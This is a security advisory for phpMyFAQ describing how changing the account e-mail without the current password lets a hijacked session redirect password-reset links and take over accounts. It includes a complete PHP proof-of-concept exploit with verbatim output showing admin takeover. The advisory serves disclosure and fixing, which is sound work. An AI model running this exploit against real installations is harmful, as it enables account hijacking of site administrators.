All vulnerabilities
GHSA-7554-gx6g-xx77

thorsten/phpMyFAQ: phpMyFAQ user-control-panel e-mail change has no current-password step-up, enabling password-reset hijacking to defeat the GHSA-6r2c fix

thorsten/phpMyFAQ
CVSS
8.3High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published3 Oct 2026Updated 3 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Summary

phpMyFAQ's user control panel requires the current password only when changing the password or disabling 2FA; changing the account e-mail requires just the (hijacked) session and the page's CSRF token. An attacker with a stolen session can swap the victim's e-mail to their own mailbox, then use phpMyFAQ's own anonymous password-reset flow: the signed reset link is delivered to the attacker's address, and consuming it sets a new password the attacker knows. For accounts without 2FA this is a complete account takeover that circumvents exactly the protection GHSA-6r2c-694w-24qv added (current-password verification for password changes); for 2FA accounts the attacker still ends up controlling both the password and the registered e-mail, with the TOTP gate as the only remaining barrier. Verified end-to-end at runtime on 4.1.8 (non-2FA account); the missing step-up is additionally confirmed in 4.2.0-alpha.2 and on the current main branch, with no fix on any branch.

Details

  1. Controller/Frontend/UserController.php::updateData() (api/user/data/update): only two branches demand the current password, the password change itself (changePassword(); verifyCurrentPassword() at HEAD, Frontend/Api/UserController.php) and disabling 2FA (requireTwoFactorStepUp()). The 'email' => $email write (HEAD lines 125-134; 4.1.8 lines 83-105) requires only the session and the 'ucp' CSRF token; no step-up, and no notification to the old address.
  2. Controller/Frontend/UnauthorizedUserController.php::requestReset() (HEAD lines 86-151; 4.1.8 equivalent lines 78/107): the reset link is matched with hash_equals($user->getUserData('email'), $email) and sent to that address, i.e. to the attacker's newly-registered mailbox.
  3. reset() (HEAD lines 158-218) consumes the signed link and calls changePassword(), sidestepping the current-password step-up that GHSA-6r2c-694w-24qv (fixed 4.1.8) introduced precisely to stop a hijacked session from changing the password.

The e-mail-change path predates and survives the GHSA-6r2c fix: the 4.1.8 fix diff only wraps the faqpassword branch and the 2FA-off branch. Present on 4.1.8, 4.2.0-alpha.2 and current main; not covered by any of the project's advisories (none describes the e-mail-swap → reset-delivery chain).

PoC

OS-independent; verified in Docker (php:8.3-cli) with the published 4.1.8 release (victim account admin without 2FA enabled, so every step is attributable to the session hijack alone). Note for reproduction: php's built-in server does not read .htaccess, so serve the app with a router script mapping /api/*, /admin/* and clean URLs onto index.php. Outgoing mail is captured with any local SMTP sink writing the message to a file. Step [0] simply establishes the victim session that stands in for the stolen one.

poc-email-reset.php (runs inside the container: php /app/poc-email-reset.php http://localhost:8080):

<?php
$base = $argv[1] ?? 'http://localhost:8080';
$attackerEmail = 'attacker@evil.local';
$newPassword = 'PwnedPass123!';

function http(string $method, string $url, array $headers = [], $body = null, string $jar): array {
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_CUSTOMREQUEST => $method, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true,
        CURLOPT_COOKIEJAR => $jar, CURLOPT_COOKIEFILE => $jar, CURLOPT_HTTPHEADER => $headers,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (lab PoC)', CURLOPT_FOLLOWLOCATION => false,
    ]);
    if ($body !== null) { curl_setopt($ch, CURLOPT_POSTFIELDS, $body); }
    $raw = curl_exec($ch);
    $status = curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
    $hs = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    curl_close($ch);
    return [$status, substr($raw, 0, $hs), substr($raw, $hs)];
}

/* [0] victim logs in with password + TOTP (lab owns the authenticator): the session that gets hijacked */
$jarA = '/tmp/poc3-victim.txt'; @unlink($jarA);
http('GET', $base.'/admin/login', [], null, $jarA);
[$st, $hdr] = http('POST', $base.'/admin/authenticate', [], 'faqusername=admin&faqpassword=Adminadmin1!', $jarA);
echo "[0] victim password login -> HTTP $st\n";

/* [1] hijacker swaps the e-mail with the stolen session; no current password supplied */
[$st, , $html] = http('GET', $base.'/index.php?action=ucp', [], null, $jarA);
preg_match('/name="pmf-csrf-token" value="([a-f0-9]+)"/', $html, $m);
$csrfUcp = $m[1];
echo "[1] harvested 'ucp' CSRF token from the victim's own UCP page: $csrfUcp\n";
$body = json_encode(['userid'=>1,'name'=>'Admin','email'=>$attackerEmail,'is_visible'=>'on',
    'faqpassword'=>'','faqpassword_confirm'=>'','faqpassword_current'=>'',
    'pmf-csrf-token'=>$csrfUcp]);
[$st, , $resp] = http('PUT', $base.'/api/user/data/update', ['Content-Type: application/json'], $body, $jarA);
echo "    PUT /api/user/data/update (e-mail change, empty current password) -> HTTP $st : $resp\n";

/* [2] anonymous attacker requests the reset link - it is delivered to the attacker mailbox */
$jarB = '/tmp/poc3-attacker.txt'; @unlink($jarB);
[$st, , $resp] = http('PUT', $base.'/api/user/password/update', ['Content-Type: application/json'],
    json_encode(['username'=>'admin','email'=>$attackerEmail]), $jarB);
echo "[2] reset request as anonymous attacker -> HTTP $st : $resp\n";

/* [3] read the signed link from the attacker mailbox (lab sink file) and consume it */
$mail = file_get_contents('/app/reset-mail.txt');
$mail = preg_replace('/=\n/', '', quoted_printable_decode($mail));
preg_match('/sig=([A-Za-z0-9\-_%\.~]+)/', $mail, $sm);
preg_match('/exp=(\d+)/', $mail, $em);
preg_match('/[?&]u=(\d+)/', $mail, $um);
[$st, , $resp] = http('POST', $base.'/api/user/password/reset', ['Content-Type: application/json'],
    json_encode(['u'=>(int)$um[1],'exp'=>(int)$em[1],'sig'=>rawurldecode($sm[1]),
                 'password'=>$newPassword,'password_repeat'=>$newPassword]), $jarB);
echo "    POST /api/user/password/reset -> HTTP $st : $resp\n";

/* [4] attacker logs in with the new password */
[$st, $hdr] = http('POST', $base.'/admin/authenticate', [], 'faqusername=admin&faqpassword='.urlencode($newPassword), $jarB);
echo "[4] attacker password login with NEW password -> HTTP $st\n";
[$st, $hdr] = http('GET', $base.'/admin/', [], null, $jarB);
echo "[5] GET /admin/ as attacker -> HTTP $st\n";

Verbatim output (4.1.8):

[0] victim password login -> HTTP 302
[1] harvested 'ucp' CSRF token from the victim's own UCP page: c8b988e0508f9aef861719d7bc8648b4
    PUT /api/user/data/update (e-mail change, empty current password) -> HTTP 200 : {"success":"The changes were saved successfully."}
[2] reset request as anonymous attacker -> HTTP 200 : {"success":"If the account exists, a password reset email has been sent."}
[3] captured mail (lab SMTP sink):
From: admin@example.local
To: attacker@evil.local
Subject: [phpMyFAQ Codename Porus] Password reset request
...
href=3D"http://localhost:8080/index.php?action=3Dresetpw&u=3D1&exp=3D179036=
2469&sig=3Dfb1fe5b9c4cf8319340a76fae166b3228aa76267e583ac281d558b7d5a1c650f="
...
    POST /api/user/password/reset -> HTTP 200 : {"success":"Your password has been changed. You can now log in."}
[4] attacker password login with NEW password -> HTTP 302
[5] GET /admin/ as attacker -> HTTP 200 (no redirect — admin dashboard reached)
[+] ACCOUNT TAKEOVER VIA E-MAIL SWAP + PASSWORD RESET COMPLETE

The e-mail change succeeded with an empty faqpassword_current (the only branches consulting the current password are the password change and disabling 2FA), the reset link was delivered to the attacker's mailbox, and the attacker's new password logged straight into the admin dashboard.

Expected vs actual

Expected: changing the account e-mail from a session should require the current password (the same step-up GHSA-6r2c established for password changes), or at minimum notify the old address and delay reset delivery, because the e-mail address is the reset-channel trust anchor. Actual: the e-mail is replaced with only the session and the page CSRF token, and the anonymous reset flow delivers the password-reset link to the attacker's mailbox. Boundary note, verified during reproduction: on a 2FA-enabled victim the same chain still swaps the e-mail and resets the password, but login remains held at the TOTP step (and the same request attempting to disable 2FA is correctly rejected by the step-up) — the takeover shown above is complete for non-2FA accounts.

Impact

A hijacked phpMyFAQ session becomes permanent at will: the attacker controls both the account's password and its registered e-mail (the reset-channel trust anchor), so the legitimate user cannot recover the account through the address-based flow. For accounts without 2FA — the default — this is a complete takeover (superadmin being the high-value target); for 2FA accounts it is credential control short of the TOTP gate.

Suggested fix

In updateData(), apply the same verifyCurrentPassword() step-up to e-mail changes (HEAD Frontend/Api/UserController.php:129-131, a one-branch change). Defense in depth: notify the previous address on any e-mail change, and refuse password-reset delivery to an address changed within a short cooldown window.

Text from GitHub Advisory Database

Affected versions 1

  • thorsten/phpMyFAQ, composer<= 4.2.0-alpha.2 (including 4.1.8)GitHub